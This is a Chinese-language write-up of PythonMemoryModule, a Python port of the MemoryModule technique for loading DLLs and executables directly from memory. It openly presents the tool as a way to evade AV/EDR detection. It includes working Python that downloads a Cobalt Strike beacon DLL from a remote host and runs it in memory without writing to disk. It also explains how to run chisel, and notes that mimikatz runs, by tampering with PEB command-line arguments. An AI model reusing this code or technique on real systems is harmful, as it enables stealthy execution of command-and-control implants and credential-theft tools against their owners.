纯Python实现的MemoryModule技术,可完全从内存加载dll或非托管exe
"Python memory module" AI生成图片 - hotpot.ai
PythonMemoryModule是Joachim Bauch原创的MemoryModule技术的Python ctypes移植版。它可以使用Python加载dll或非托管exe,无需外部库(pyd),并(部分)支持命令行参数传递。
它利用pefile解析PE头,PythonForWindows访问进程参数,以及ctypes处理繁重工作。该工具最初设计用作Pyramid模块,通过从内存加载dll/exe有效载荷到python.exe中来逃避AV/EDR检测,但其他用例也是可能的(IP保护、pyd内存加载、其他更隐蔽技术的衍生),因此我决定创建这个专用仓库。
以下示例中,Cobalt Strike无阶段信标dll被下载(不保存到磁盘)、加载到内存并通过调用入口点启动。
import urllib.request
import ctypes
import pythonmemorymodule
request = urllib.request.Request('http://192.168.1.2/beacon.dll')
result = urllib.request.urlopen(request)
buf=result.read()
dll = pythonmemorymodule.MemoryModule(data=buf, debug=True)
startDll = dll.get_proc_addr('StartW')
assert startDll()
#dll.free_library()
注意:如果在可延展配置文件中使用了分段,则dll无法使用LoadLibrary加载,因此MemoryModule将无法工作。

以下示例中,我们使用命令行传递功能来在内存中执行chisel。
此技术通过在运行时篡改PEB中的Commandline参数来实现。 这并非对所有可执行文件都有效,因为它取决于用于传递参数的具体函数。
通常,要实现普遍有效的技术,需要挂钩GetCommandlineA、GetCommandlineW、__getmainargs和__wgetmainargs,因为仅篡改PEB无法覆盖所有情况,更多细节见此处
在测试中,我发现mimikatz和几个Go二进制文件仅通过PEB篡改即可正常工作,而仅通过PEB篡改向mingw和VS编译的二进制文件传递命令行参数则可能失败。
使用MemoryModule技术会很大程度上尊重目标DLL的节权限,避免使用嘈杂的RWX方法。但是,在程序内存中会存在一个未由磁盘上dll支持的私有提交,这是MemoryModule的明显特征。